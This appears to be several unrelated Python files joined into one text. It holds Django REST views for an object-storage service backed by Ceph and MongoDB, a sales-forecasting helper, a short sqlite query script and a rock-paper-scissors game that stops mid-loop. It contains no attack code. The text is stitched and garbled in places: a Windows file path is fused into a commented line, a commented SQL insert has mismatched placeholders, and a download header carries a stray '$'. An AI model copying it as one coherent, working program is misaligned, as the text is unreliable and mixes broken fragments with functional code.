from bson import ObjectId
from collections import OrderedDict
from datetime import datetime

from django.http import StreamingHttpResponse, FileResponse, Http404, QueryDict
from django.utils.http import urlquote
from django.db.models import Q as dQ
from rest_framework import viewsets, status, generics, mixins
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated, IsAdminUser, BasePermission
from rest_framework.schemas import AutoSchema
from rest_framework.compat import coreapi, coreschema
from rest_framework.serializers import Serializer

from buckets.utils import BucketFileManagement
from users.views import send_active_url_email
from utils.storagers import FileStorage, PathParser
from utils.oss.rados_interfaces import CephRadosObject
from .models import User, Bucket, BucketFileInfo
from . import serializers
from . import paginations

# Create your views here.

class IsSuperUser(BasePermission):
    '''
    Allows access only to super users.
    '''
    def has_permission(self, request, view):
        return request.user and request.user.is_superuser

class CustomAutoSchema(AutoSchema):
    '''
    自定义Schema
    '''
    def get_manual_fields(self, path, method):
        '''
        重写方法，为每个方法自定义参数字段
        '''
        extra_fields = []
        if type(self._manual_fields) is dict and method in self._manual_fields:
            extra_fields = self._manual_fields[method]

        return extra_fields

class CustomGenericViewSet(viewsets.GenericViewSet):
    '''
    自定义GenericViewSet类，重写get_serializer方法，以通过context参数传递自定义参数
    '''
    def get_serializer(self, *args, **kwargs):
        """
        Return the serializer instance that should be used for validating and
        deserializing input, and for serializing output.
        """
        serializer_class = self.get_serializer_class()
        context = self.get_serializer_context()
        context.update(kwargs.get('context', {}))
        kwargs['context'] = context
        return serializer_class(*args, **kwargs)

def get_bucket_collection_name_or_response(bucket_name, request):
    '''
    获取存储通对应集合名称，或者Response对象
    :param bucket_name: 存储通名称
    :return: (collection_name, response)
            collection_name=None时，存储通不存在，response有效；
            collection_name!=''时，存储通存在，response=None；
    '''
    bucket = Bucket.get_bucket_by_name(bucket_name)
    if not bucket:
        response = Response(data={'code': 404, 'code_text': 'bucket_name参数有误，存储通不存在'}, status=status.HTTP_404_NOT_FOUND)
        return (None, response)
    if not bucket.check_user_own_bucket(request):
        response = Response(data={'code': 404, 'code_text': 'bucket_name参数有误，存储通不存在'}, status=status.HTTP_404_NOT_FOUND)
        return (None, response)

    collection_name = bucket.get_bucket_mongo_collection_name()
    return (collection_name, None)

class UserViewSet(mixins.DestroyModelMixin,
                   mixins.ListModelMixin,
                   viewsets.GenericViewSet):
    '''
    用户类视图
    list:
    获取用户列表,需要管理员权限

    retrieve:
    获取一个用户详细信息，需要管理员权限，或当前用户信息

    create:
    注册一个用户

    destroy:
    删除一个用户，需要管理员权限
    '''
    queryset = User.objects.all()

    def create(self, request, *args, **kwargs):
        serializer = self.get_serializer(data=request.data)
        serializer.is_valid(raise_exception=True)
        user = serializer.save()
        if not send_active_url_email(request._request, user.email, user):
            return Response('激活链接邮件发送失败', status=status.HTTP_500_INTERNAL_SERVER_ERROR)
        data = {
            'code': 201,
            'code_text': '用户注册成功，请登录邮箱访问收到的连接以激活用户',
            'data': serializer.validated_data,
        }
        return Response(data, status=status.HTTP_201_CREATED)

    def retrieve(self, request, *args, **kwargs):
        instance = self.get_object()
        if not (request.user.id == instance.id):
            return Response(data={"detail": "您没有执行该操作的权限。"}, status=status.HTTP_403_FORBIDDEN)
        serializer = self.get_serializer(instance)
        return Response(serializer.data)

    def get_serializer_class(self):
        '''
        动态加载序列化器
        '''
        if self.action == 'create':
            return serializers.UserCreateSerializer

        return serializers.UserDeitalSerializer

    def get_permissions(self):
        """
        Instantiates and returns the list of permissions that this view requires.
        """
        if self.action in ['list', 'delete']:
            return [IsAuthenticated(), IsSuperUser()]
        elif self.action == 'create':
            return []
        elif self.action == 'retrieve':
            return [IsAuthenticated()]
        return [IsSuperUser()]

class BucketViewSet(viewsets.GenericViewSet):
    '''
    存储桶视图

    list:
    获取存储桶列表

    >>Http Code: 状态码200：无异常时，返回所有的存储桶信息；
        {
            'code': 200,
            'buckets': [], // bucket对象列表
        }

    retrieve:
    获取一个存储桶详细信息

    >>Http Code: 状态码200：无异常时，返回存储桶的详细信息；
        {
            'code': 200,
            'bucket': {}, // bucket对象
        }

    create:
    创建一个新的存储桶

    >>Http Code: 状态码201；
        创建成功时：
        {
            'code': 201,
            'code_text': '创建成功',
            'data': serializer.data, //请求时提交数据
            'bucket': {}             //bucket对象信息
        }
    >>Http Code: 状态码400,参数有误：
        {
            'code': 400,
            'code_text': 'xxx',      //错误码表述信息
            'data': serializer.data, //请求时提交数据
        }

    delete:
    删除一个存储桶

    >>Http Code: 状态码204,存储桶删除成功
    >>Http Code: 状态码400
        {
            'code': 400,
            'code_text': '存储桶id有误'
        }
    >>Http Code: 状态码404：
        {
            'code': 404,
            'code_text': 'xxxxx'
        }

    '''
    queryset = Bucket.objects.filter(soft_delete=False).all()
    permission_classes = [IsAuthenticated]
    pagination_class = paginations.BucketsLimitOffsetPagination

    # api docs
    schema = CustomAutoSchema(
        manual_fields={
            'DELETE': [
                coreapi.Field(
                    name='ids',
                    required=False,
                    location='body',
                    schema=coreschema.String(description='存储桶id列表或数组，删除多个存储桶时，通过此参数传递其他存储桶id'),
                ),
            ]
        }
    )

    def list(self, request, *args, **kwargs):
        self.queryset = Bucket.objects.filter(dQ(user=request.user) & dQ(soft_delete=False)).all() # user's own

        queryset = self.filter_queryset(self.get_queryset())
        page = self.paginate_queryset(queryset)
        if page is not None:
            serializer = self.get_serializer(page, many=True)
            return self.get_paginated_response(serializer.data)
        else:
            serializer = self.get_serializer(queryset, many=True)
            data = {'code': 200, 'buckets': serializer.data,}
        return Response(data)

    def create(self, request, *args, **kwargs):
        serializer = self.get_serializer(data=request.data, context={'request': request})
        if not serializer.is_valid(raise_exception=False):
            data = {
                'code': 400,
                'code_text': serializer.errors.get('non_field_errors', '参数验证未通过'),
                'data': serializer.data,
            }
            return Response(data, status=status.HTTP_400_BAD_REQUEST)
        serializer.save()
        data = {
            'code': 201,
            'code_text': '创建成功',
            'data': serializer.data,
            'bucket': serializers.BucketSerializer(serializer.instance).data
        }
        return Response(data, status=status.HTTP_201_CREATED)

    def retrieve(self, request, *args, **kwargs):
        instance = self.get_object()
        serializer = self.get_serializer(instance)
        return Response({'code': 200, 'bucket': serializer.data})

    def destroy(self, request, *args, **kwargs):
        id = kwargs.get(self.lookup_field, None)
        ids = request.POST.getlist('ids')

        if id and id not in ids:
            ids.append(id)
        try:
            ids = [int(i) for i in ids]
        except ValueError:
            return Response(data={'code': 400, 'code_text': '存储桶id有误'}, status=status.HTTP_400_BAD_REQUEST)

        if ids:
            buckets = Bucket.objects.filter(id__in=ids)
            if not buckets.exists():
                return Response(data={'code': 404, 'code_text': '未找到要删除的存储桶'}, status=status.HTTP_404_NOT_FOUND)
            for bucket in buckets:
                # 只删除用户自己的buckets
                if bucket.user.id == request.user.id:
                    bucket.do_soft_delete()  # 软删除

            return Response(status=status.HTTP_204_NO_CONTENT)

        return Response(data={'code': 404, 'code_text': '存储桶id为空'}, status=status.HTTP_404_NOT_FOUND)

    def get_serializer_class(self):
        """
        Return the class to use for the serializer.
        Defaults to using `self.serializer_class`.
        Custom serializer_class
        """
        if self.action in ['create', 'delete']:
            return serializers.BucketCreateSerializer

        return serializers.BucketSerializer

    def get_permissions(self):
        """
        Instantiates and returns the list of permissions that this view requires.
        """
        if self.action in ['list', 'create', 'delete']:
            return [IsAuthenticated()]
        return [permission() for permission in self.permission_classes]

class ObjViewSet(viewsets.GenericViewSet):
    '''
    文件对象视图集

    create:
    创建一个文件对象，并返回文件对象的id：

    	Http Code: 状态码201：无异常时，返回数据：
    	{
            data: 客户端请求时，携带的数据,
            id: 文件id，上传文件块时url中需要,
        }
        Http Code: 状态码400：参数有误时，返回数据：
            对应参数错误信息;

    update:
    通过文件对象绝对路径（以存储桶名开始）分片上传文件对象

    注意：
        文件对象已存在，数据上传会覆盖原数据，文件对象不存在，会自动创建文件对象，并且文件对象的大小只增不减；
        当chunk_offset=0时会被认为一次新文件对象上传，如果文件对象已存在，此时overwrite参数有效，
            overwrite=False时为不覆盖上传，会返回400错误码和已存在同名文件的错误提示。
            overwrite=True时会重置原文件对象大小为0，相当于删除已存在的同名文件对象，创建一个新同名文件对象，

        Http Code: 状态码200：上传成功无异常时，返回数据：
        {
            data: 客户端请求时，携带的参数,不包含数据块；
        }
        Http Code: 状态码400：参数有误时，返回数据：
            对应参数错误信息;
        Http Code: 状态码500
            {
                'code': 500,
                'code_text': '文件块rados写入失败'
            }

    retrieve:
        通过文件对象绝对路径（以存储桶名开始）,下载文件对象,可通过query参数获取文件对象详细信息，或者自定义读取对象数据块

        *注：参数优先级判定顺序：info > chunk_offset && chunk_size
        1. info=true时,返回文件对象详细信息，其他忽略此参数；
        2. chunk_offset && chunk_size 参数校验失败时返回状态码400和对应参数错误信息，无误时，返回bytes数据流
        3. 不带参数或者info无效时，返回整个文件对象；

    	>>Http Code: 状态码200：
            * info=true,返回文件对象详细信息：
            {
                'code': 200,
                'bucket_name': 'xxx',   //所在存储桶名称
                'dir_path': 'xxxx',      //所在目录
                'obj': {},              //文件对象详细信息
                'breadcrumb': [[xxx, xxx],]    //路径面包屑
            }
            * 自定义读取时：返回bytes数据流，其他信息通过标头headers传递：
            {
                evhb_chunk_size: 返回文件块大小
                evhb_obj_size: 文件对象总大小
            }
            * 其他,返回FileResponse对象,bytes数据流；

        >>Http Code: 状态码400：文件路径参数有误：对应参数错误信息;
            {
                'code': 400,
                'code_text': 'xxxx参数有误'
            }
        >>Http Code: 状态码404：找不到资源;
        >>Http Code: 状态码500：服务器内部错误;

    destroy:
        通过文件对象绝对路径（以存储桶名开始）,删除文件对象；

        >>Http Code: 状态码204：删除成功，NO_CONTENT；
        >>Http Code: 状态码400：文件路径参数有误：对应参数错误信息;
            {
                'code': 400,
                'code_text': 'objpath参数有误'
            }
        >>Http Code: 状态码404：找不到资源;
        >>Http Code: 状态码500：服务器内部错误;

    partial_update:
    对象共享或私有权限设置

        Http Code: 状态码200：上传成功无异常时，返回数据：
        {
            'code': 200,
            'code_text': '对象共享设置成功'，
            'share': xxx,
            'days': xxx
        }
        Http Code: 状态码400：参数有误时，返回数据：
            对应参数错误信息;
        Http Code: 状态码404;

    '''
    queryset = {}
    # permission_classes = [IsAuthenticated]
    lookup_field = 'objpath'
    lookup_value_regex = '.+'

    # api docs
    VERSION_METHOD_FEILD = [
        coreapi.Field(
            name='version',
            required=True,
            location='path',
            schema=coreschema.String(description='API版本（v1, v2）')
        ),
    ]

    OBJ_PATH_METHOD_FEILD = [
        coreapi.Field(
            name='objpath',
            required=True,
            location='path',
            schema=coreschema.String(description='以存储桶名称开头的文件对象绝对路径，类型String'),
        ),
    ]

    schema = CustomAutoSchema(
        manual_fields={
            'GET': VERSION_METHOD_FEILD + OBJ_PATH_METHOD_FEILD + [
                coreapi.Field(
                    name='info',
                    required=False,
                    location='query',
                    schema=coreschema.String(description='可选参数，info=true时返回文件对象详细信息，不返回文件对象数据，其他值忽略，类型boolean'),
                ),
                coreapi.Field(
                    name='chunk_offset',
                    required=False,
                    location='query',
                    schema=coreschema.String(description='要读取的文件块在整个文件中的起始位置（bytes偏移量), 类型int'),
                ),
                coreapi.Field(
                    name='chunk_size',
                    required=False,
                    location='query',
                    schema=coreschema.String(description='要读取的文件块的字节大小, 类型int'),
                ),
            ],
            'DELETE': VERSION_METHOD_FEILD + OBJ_PATH_METHOD_FEILD,
            'PUT': VERSION_METHOD_FEILD + OBJ_PATH_METHOD_FEILD,
            'POST': VERSION_METHOD_FEILD,
            'PATCH': VERSION_METHOD_FEILD + [
                coreapi.Field(
                    name='share',
                    required=False,
                    location='query',
                    schema=coreschema.Boolean(description='是否分享，用于设置对象公有或私有, true(公开)，false(私有)'),
                ),
                coreapi.Field(
                    name='days',
                    required=False,
                    location='query',
                    schema=coreschema.String(description='对象公开分享天数(share=true时有效)，0表示永久公开，默认为0'),
                ),
            ],
        }
    )

    # def create(self, request, *args, **kwargs):
    #     serializer = self.get_serializer(data=request.data)
    #     serializer.is_valid(raise_exception=True)
    #     serializer.save()
    #     return Response(serializer.response_data, status=status.HTTP_201_CREATED)

    def update(self, request, *args, **kwargs):
        objpath = kwargs.get(self.lookup_field, '')

        # 对象路径分析
        pp = PathParser(filepath=objpath)
        bucket_name, path, filename = pp.get_bucket_path_and_filename()
        if not bucket_name or not filename:
            return Response(data={'code': 400, 'code_text': 'objpath参数有误'}, status=status.HTTP_400_BAD_REQUEST)

        # 数据验证
        serializer = self.get_serializer(data=request.data)
        if not serializer.is_valid(raise_exception=False):
            return Response({
                'code': 400,
                'code_text': serializer.errors.get('non_field_errors', '参数有误，验证未通过'),
            }, status=status.HTTP_400_BAD_REQUEST)

        # 存储桶验证和获取桶对象mongodb集合名
        collection_name, response = get_bucket_collection_name_or_response(bucket_name, request)
        if not collection_name and response:
            return response

        data = serializer.data
        chunk_offset = data.get('chunk_offset')
        chunk = request.data.get('chunk')
        overwrite = data.get('overwrite')

        obj, created = self.get_file_obj_or_create_or_404(collection_name, path, filename)
        rados = CephRadosObject(str(obj.id))
        if not created: # 对象存在 ，
            if chunk_offset == 0:
                if not overwrite: # 不覆盖
                    return Response({'code': 400, 'code_text': 'objpath参数有误，已存在同名文件'}, status=status.HTTP_400_BAD_REQUEST)
                else:
                    rados.delete()
                    obj.si = 0

        # 存储文件块
        ok, bytes = rados.write(offset=chunk_offset, data_block=chunk.read())
        if ok:
            # 更新文件修改时间
            obj.upt = datetime.utcnow()
            obj.si = max(chunk_offset + chunk.size, obj.si if obj.si else 0)  # 更新文件大小（只增不减）
            obj.switch_collection(collection_name)
            try:
                obj.save()
            except:
                pass
        else:
            return Response({'code': 500, 'code_text': '文件块rados写入失败'}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

        return Response(data, status=status.HTTP_200_OK)

    def retrieve(self, request, *args, **kwargs):
        info = request.query_params.get('info', None)
        objpath = kwargs.get(self.lookup_field, '')

        pp = PathParser(filepath=objpath)
        bucket_name, path, filename = pp.get_bucket_path_and_filename()
        if not bucket_name or not filename:
            return Response(data={'code': 400, 'code_text': 'objpath参数有误'}, status=status.HTTP_400_BAD_REQUEST)

        validated_param, valid_response = self.custom_read_param_validate_or_response(request)
        if not validated_param and valid_response:
            return valid_response

        collection_name, response = get_bucket_collection_name_or_response(bucket_name, request)
        if not collection_name and response:
            return response

        fileobj = self.get_file_obj_or_404(collection_name, path, filename)

        # 返回文件对象详细信息
        if info == 'true':
            return self.get_obj_info_response(request=request, fileobj=fileobj, bucket_name=bucket_name, path=path)

        # 自定义读取文件对象
        if validated_param:
            offset = validated_param.get('offset')
            size = validated_param.get('size')
            return self.get_custom_read_obj_response(obj=fileobj, offset=offset, size=size, collection_name=collection_name)

        # 下载整个文件对象
        response = self.get_file_download_response(str(fileobj.id), filename)
        if not response:
            return Response(data={'code': 500, 'code_text': '服务器发生错误，获取文件返回对象错误'}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

        # 增加一次下载次数
        fileobj.download_cound_increase(collection_name)
        return response

    def destroy(self, request, *args, **kwargs):
        objpath = kwargs.get(self.lookup_field, '')
        bucket_name, path, filename = PathParser(filepath=objpath).get_bucket_path_and_filename()
        if not bucket_name or not filename:
            return Response(data={'code': 400, 'code_text': 'objpath参数有误'}, status=status.HTTP_400_BAD_REQUEST)

        collection_name, response = get_bucket_collection_name_or_response(bucket_name, request)
        if not collection_name and response:
            return response

        fileobj = self.get_file_obj_or_404(collection_name, path, filename)
        fileobj.do_soft_delete(collection_name)
        return Response(status=status.HTTP_204_NO_CONTENT)

    def partial_update(self, request, *args, **kwargs):
        objpath = kwargs.get(self.lookup_field, '')

        validated_param, valid_response = self.shared_param_validate_or_response(request)
        if not validated_param and valid_response:
            return valid_response
        share = validated_param.get('share')
        days = validated_param.get('days')

        pp = PathParser(filepath=objpath)
        bucket_name, path, filename = pp.get_bucket_path_and_filename()
        if not bucket_name or not filename:
            return Response(data={'code': 400, 'code_text': 'objpath参数有误'}, status=status.HTTP_400_BAD_REQUEST)

        collection_name, response = get_bucket_collection_name_or_response(bucket_name, request)
        if not collection_name and response:
            return response

        fileobj = self.get_file_obj_or_404(collection_name, path, filename)
        fileobj.switch_collection(collection_name)
        fileobj.set_shared(sh=share, days=days)

        data = {
            'code': 200,
            'code_text': '对象共享权限设置成功',
            'share': share,
            'days': days
        }
        return Response(data=data, status=status.HTTP_200_OK)

    def get_serializer_class(self):
        """
        Return the class to use for the serializer.
        Defaults to using `self.serializer_class`.
        Custom serializer_class
        """
        if self.action == 'create':
            return serializers.ObjPostSerializer
        elif self.action == 'update':
            return serializers.ObjPutSerializer
        return Serializer

    def get_serializer_context(self):
        """
        Extra context provided to the serializer class.
        """
        context = super(ObjViewSet, self).get_serializer_context()
        context['kwargs'] = self.kwargs
        return context

    def get_file_obj_or_404(self, collection_name, path, filename):
        """
        获取文件对象
        """
        bfm = BucketFileManagement(path=path, collection_name=collection_name)
        ok, obj = bfm.get_file_exists(file_name=filename)
        if not ok or not obj:
            raise Http404
        return obj

    def get_file_obj_or_create_or_404(self, collection_name, path, filename):
        '''
        获取文件对象, 不存在则创建，其他错误(如对象父路径不存在)会抛404错误

        :param collection_name:
        :param path:
        :param filename:
        :return: (obj, created)
                obj: 对象
                created: 指示对象是否是新创建的，True(是)
        '''
        bfm = BucketFileManagement(path=path, collection_name=collection_name)
        ok, did = bfm.get_cur_dir_id()
        if not ok:
            raise Http404 # 目录路径不存在

        ok, obj = bfm.get_file_exists(file_name=filename)
        if not ok:
            raise Http404

        if not obj:
            # 创建文件对象
            bfinfo = BucketFileInfo(na=filename,  # 文件名
                                    fod=True,  # 文件
                                    si=0)  # 文件大小
            # 有父节点
            if did:
                bfinfo.did = ObjectId(did)

            bfinfo.switch_collection(collection_name)
            try:
                obj = bfinfo.save()
            except:
                raise Http404
            return obj, True
        return obj, False

    def get_file_download_response(self, file_id, filename):
        '''
        获取文件下载返回对象
        :param file_id: 文件Id, type: str
        :filename: 文件名， type: str
        :return:
            success：http返回对象，type: dict；
            error: None
        '''
        cro = CephRadosObject(file_id)
        file_generator = cro.read_obj_generator
        if not file_generator:
            return None

        filename = urlquote(filename)# 中文文件名需要
        response = FileResponse(file_generator())
        response['Content-Type'] = 'application/octet-stream'  # 注意格式
        response['Content-Disposition'] = f'attachment; filename="{filename}"; filename*=utf-8 ${filename}'  # 注意filename 这个是下载后的名字
        return response

    def get_obj_info_response(self, request, fileobj, bucket_name, path):
        '''
        文件对象信息Response
        :param request:
        :param fileobj: 文件对象
        :param bucket_name: 存储桶
        :param path: 文件对象所在目录路径
        :return: Response
        '''
        serializer = serializers.ObjInfoSerializer(fileobj, context={'request': request,
                                                                           'bucket_name': bucket_name,
                                                                           'dir_path': path})
        return Response(data={
            'code': 200,
            'bucket_name': bucket_name,
            'dir_path': path,
            'obj': serializer.data,
            'breadcrumb': PathParser(path).get_path_breadcrumb()
        })

    def custom_read_param_validate_or_response(self, request):
        '''
        自定义读取文件对象参数验证
        :param request:
        :return:
                (None, None) -> 未携带参数
                (None, response) -> 参数有误
                ({data}, None) -> 参数验证通过

        '''
        chunk_offset = request.query_params.get('chunk_offset', None)
        chunk_size = request.query_params.get('chunk_size', None)

        validated_data = {}
        if chunk_offset is not None and chunk_size is not None:
            try:
                offset = int(chunk_offset)
                size = int(chunk_size)
                if offset < 0 or size < 0:
                    raise Exception()
                validated_data['offset'] = offset
                validated_data['size'] = size
            except:
                response = Response(data={'code': 400, 'code_text': 'chunk_offset或chunk_size参数有误'},
                                status=status.HTTP_400_BAD_REQUEST)
                return None, response
        else:
            return None, None
        return validated_data, None

    def shared_param_validate_or_response(self, request):
        '''
        文件对象共享或私有权限参数验证
        :param request:
        :return:
            (None, response) -> 参数有误
            ({data}, None) -> 参数验证通过

        '''
        days = request.query_params.get('days', 0)
        share = request.query_params.get('share', '').lower()

        validated_data = {}
        if share == 'true':
            share = True
        elif share == 'false':
            share = False
        else:
            response = Response(data={'code': 400, 'code_text': 'share参数有误'}, status=status.HTTP_400_BAD_REQUEST)
            return (None, response)

        try:
            days = int(days)
            if days < 0:
                raise Exception()
        except:
            response = Response(data={'code': 400, 'code_text': 'days参数有误'}, status=status.HTTP_400_BAD_REQUEST)
            return (None, response)

        validated_data['share'] = share
        validated_data['days'] = days
        return (validated_data, None)

    def get_custom_read_obj_response(self, obj, offset, size, collection_name):
        '''
        文件对象自定义读取response
        :param obj: 文件对象
        :param offset: 读起始偏移量
        :param size: 读取大小
        :param collection_name: 对象所在mongodb集合名
        :return: HttpResponse
        '''
        if size == 0:
            chunk = bytes()
        else:
            rados = CephRadosObject(str(obj.id))
            ok, chunk = rados.read(offset=offset, size=size)
            if not ok:
                data = {'code':500, 'code_text': 'server error,文件块读取失败'}
                return Response(data, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

        # 如果从0读文件就增加一次下载次数
        if offset == 0:
            obj.download_cound_increase(collection_name)

        reponse = StreamingHttpResponse(chunk, content_type='application/octet-stream', status=status.HTTP_200_OK)
        reponse['evob_chunk_size'] = len(chunk)
        reponse['evob_obj_size'] = obj.si
        return reponse

class DirectoryViewSet(viewsets.GenericViewSet):
    '''
    目录视图集

    retrieve:
    获取一个目录下的文件和文件夹信息

        >>Http Code: 状态码200:
            {
                'code': 200,
                'files': [fileobj, fileobj, ...],//文件信息对象列表
                'bucket_name': xxx,             //存储桶名称
                'dir_path': xxx,                //当前目录路径
                'breadcrumb': [[xxx, xxx],],    //路径面包屑
            }
        >>Http Code: 状态码400:
            {
                'code': 400,
                'code_text': 'ab_path参数有误'
            }
        >>Http Code: 状态码404:
            {
                'code': xxx,      //404
                'code_text': xxx  //错误码描述
            }

    create:
        创建一个目录

        >>Http Code: 状态码400, 请求参数有误:
            {
                "code": 400,
                "code_text": {
                    "error_text": ["xxxx", ] // 错误列表
                }
            }
        >>Http Code: 状态码201,创建文件夹成功：
            {
                'code': 201,
                'code_text': '创建文件夹成功',
                'data': {},      //请求时提交的数据
                'dir': {}，      //新目录对象信息
            }

    destroy:
        删除一个目录

        >>Http Code: 状态码204,成功删除;
        >>Http Code: 状态码400,参数无效;
            {
                'code': 400,
                'code_text': 'ab_path参数无效'
            }
        >>Http Code: 状态码404;
            {
                'code': 404,
                'code_text': '文件不存在
            }
    '''
    queryset = []
    permission_classes = [IsAuthenticated]
    lookup_field = 'ab_path'
    lookup_value_regex = '.+'
    pagination_class = paginations.BucketFileCursorPagination

    # api docs
    BASE_METHOD_FIELDS = [
        coreapi.Field(
            name='version',
            required=True,
            location='path',
            schema=coreschema.String(description='API版本（v1, v2）')
        ),
        coreapi.Field(
            name='ab_path',
            required=True,
            location='path',
            schema=coreschema.String(description='以存储桶名称开头的目录绝对路径')
        ),
    ]
    schema = CustomAutoSchema(
        manual_fields={
            'GET': BASE_METHOD_FIELDS,
            'DELETE': BASE_METHOD_FIELDS,
        }
    )

    def retrieve(self, request, *args, **kwargs):
        ab_path = kwargs.get(self.lookup_field, '')
        pp = PathParser(filepath=ab_path)
        bucket_name, dir_path = pp.get_bucket_and_dirpath()
        if not bucket_name:
            return Response(data={'code': 400, 'code_text': 'ab_path参数有误'}, status=status.HTTP_400_BAD_REQUEST)

        collection_name, response = get_bucket_collection_name_or_response(bucket_name, request)
        if not collection_name and response:
            return response

        bfm = BucketFileManagement(path=dir_path, collection_name=collection_name)
        ok, files = bfm.get_cur_dir_files()
        if not ok:
            return Response({'code': 404, 'code_text': '参数有误，未找到相关记录'}, status=status.HTTP_404_NOT_FOUND)

        data_dict = OrderedDict([
            ('code', 200),
            ('bucket_name', bucket_name),
            ('dir_path', dir_path),
            ('breadcrumb', pp.get_path_breadcrumb(dir_path))
        ])

        queryset = files
        page = self.paginate_queryset(queryset)
        if page is not None:
            serializer = self.get_serializer(page, many=True, context={'bucket_name': bucket_name, 'dir_path': dir_path})
            data_dict['files'] = serializer.data
            return self.get_paginated_response(data_dict)

        serializer = self.get_serializer(queryset, many=True, context={'bucket_name': bucket_name, 'dir_path': dir_path})

        data_dict['files'] = serializer.data
        return Response(data_dict)

    def create(self, request, *args, **kwargs):
        serializer = self.get_serializer(data=request.data, context={'request': request})
        if not serializer.is_valid(raise_exception=False):
            return Response({'code': 400, 'code_text': serializer.errors}, status=status.HTTP_400_BAD_REQUEST)

        validated_data = serializer.validated_data
        dir_path = validated_data.get('dir_path', '')
        dir_name = validated_data.get('dir_name', '')
        did = validated_data.get('did', None)
        collection_name = validated_data.get('collection_name')

        bfm = BucketFileManagement(dir_path, collection_name=collection_name)
        dir_path_name = bfm.build_dir_full_name(dir_name)
        bfinfo = BucketFileInfo(na=dir_path_name,  # 目录名
                                fod=False,  # 目录
                                )
        # 有父节点
        if did:
            bfinfo.did = did
        bfinfo.switch_collection(collection_name)
        try:
            bfinfo.save()
        except:
            return Response(data={'code': 500, 'code_text': '数据存入数据库错误'}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

        data = {
            'code': 201,
            'code_text': '创建文件夹成功',
            'data': serializer.data,
            'dir': serializers.ObjInfoSerializer(bfinfo).data
        }
        return Response(data, status=status.HTTP_201_CREATED)

    def destroy(self, request, *args, **kwargs):
        ab_path = kwargs.get(self.lookup_field, '')
        bucket_name, path, dir_name = PathParser(filepath=ab_path).get_bucket_path_and_dirname()

        if not bucket_name or not dir_name:
            return Response(data={'code': 400, 'code_text': 'ab_path参数无效'}, status=status.HTTP_400_BAD_REQUEST)

        collection_name, response = get_bucket_collection_name_or_response(bucket_name, request)
        if not collection_name and response:
            return response

        obj = self.get_dir_object(path, dir_name, collection_name)
        if not obj:
            return Response(data = {'code': 404, 'code_text': '文件不存在'}, status=status.HTTP_404_NOT_FOUND)
        else:
            obj.do_soft_delete(collection_name)

        return Response(status=status.HTTP_204_NO_CONTENT)

    def get_serializer(self, *args, **kwargs):
        """
        Return the serializer instance that should be used for validating and
        deserializing input, and for serializing output.
        """
        serializer_class = self.get_serializer_class()
        context = self.get_serializer_context()
        context.update(kwargs.get('context', {}))
        kwargs['context'] = context
        return serializer_class(*args, **kwargs)

    def get_serializer_class(self):
        """
        Return the class to use for the serializer.
        Defaults to using `self.serializer_class`.
        Custom serializer_class
        """
        if self.action in ['create', 'delete']:
            return serializers.DirectoryCreateSerializer
        return serializers.ObjInfoSerializer

    def get_dir_object(self, path, dir_name, collection_name):
        """
        Returns the object the view is displaying.
        """
        bfm = BucketFileManagement(path=path, collection_name=collection_name)
        ok, obj = bfm.get_dir_exists(dir_name=dir_name)
        if not ok:
            return None
        return obj


# -*- coding: UTF-8 -*-

def predict_no_yf(voters, startdate, cooperatedate, trend):
    """
    此算法利用合作时间来预测没有历史销量数据的未来14个月的销量
    :param voters: 投票数
    :param startdate: 开始时间（字符串类型）
    :param cooperatedate: 合作时间（字符串类型）
    :param trend: 按区域统计的趋势
    :return: 预测的14个月销量
    """
    if voters <= 0:
        return [0] * 14
    else:
        if cooperatedate != '-1' and cooperatedate != '1753-01-01':
            start = get_start(cooperatedate[0:7])
            if start != -1:
                return give_value_by_trend(voters, start, trend)
            else:
                if startdate != '-1' and startdate != '1753-01-01':
                    start = get_start(startdate[0:7])
                    if start != -1:
                        return give_value_by_trend(voters, start, trend)
                    else:
                        return [0] * 14
                else:
                    return [0] * 14

def give_value_by_trend(voters, start, trend):
    ave = 3 * voters/(14 - start)
    result = [0] * 14
    if start > -1:
        if trend is None:
            for i in range(0, 14):
                if i < start:
                    result[i] = 0
                elif i == start:
                    result[i] = 0.3 * ave
                elif i == start + 1:
                    result[i] = 0.5 * ave
                elif i == start + 2:
                    result[i] = 0.7 * ave
                else:
                    result[i] = ave
            return result
        else:
            for i in range(0, 14):
                if i < start:
                    result[i] = 0
                elif i == start:
                    result[i] = 0.3 * ave
                elif i == start + 1:
                    result[i] = 0.5 * ave
                elif i == start + 2:
                    result[i] = 0.7 * ave
                else:
                    result[i] = ave * trend[i]
            return result
    else:
        return result

def get_start(strdate):
    if strdate == '2015-12':
        return 0
    elif strdate == '2017-01':
        return 13
    elif strdate[:4] == '2016':
        return int(strdate[-2:])
    else:
        return -1


#!/usr/bin/env python3

import sqlite3

conn = sqlite3.connect('employees.db')
c = conn.cursor()

c.execute("select * from employees_data")
#c.execute('insert into employees_data(id , name , salary , position , hireDATE) values(? , ?, ?, ?, ? ,?)' , entities)
#entities = (2 , 'rahul' , 1 , 'caretaker' , '2019-01-05')

for row in c:
    print(row)

c.fetchone()

a = c.fetchall()
for row in a:
    print(row)


import MachineMoves
from time import sleep

# print("What machine to play against?\n"
#       "\ttype '0' for RandomPredictor\n"
#       "\ttype '1' for IntuitivePredictor\n"
#       "\ttype '2' for MarkovPredictor\n")
#
# player_choice = input("Model: ")
#
# if player_choice == '0':
#     model = MachineMoves.RandomPredictor()
# elif player_choice == '1':
#     model = MachineMoves.IntuitivePredictor()
# elif player_choice == '2':
#     model = MachineMoves.MarkovPredictor()D:\My Stuff\Documents\C Programs\test
#
# print("You picked {}".format(model))

model = MachineMoves.IntuitivePredictor()

print("\nWelcome to Rock, Paper, Scissors!\n"
      "\ttype 'R' to play rock\n"
      "\ttype 'P' to play paper\n"
      "\ttype 'S' to play scissors\n"
      "\ttype '0' to exit\n")

player_choice = ""
machine_choice = ""

player_win_count = 0
machine_win_count = 0

player_moves = []
machine_moves = []

win_percent = 0.00

def check_win(player, machine):

    if ((player == 'R' and machine == "S")
            or (player == 'P' and machine == "R")
            or (player == 'S' and machine == "P")):
        return True
    else:
        return False

while player_choice != '0':

    player_choice = input("Player: ")
    machine_choice = model.predict(player_moves)
    print("Machine: {}\n".format(machine_choice))

    sleep(0.5)

    if player_choice == "R" or player_choice == "P" or player_choice == "S":

        if player_choice == "0":
            print("GOODBYE!")
            exit(0)

        elif player_choice == machine_choice:
            print("DRAW, TRY AGAIN!".format(machine_choice))

        elif check_win(player_choice, machine_choice):
            player_win_count += 1
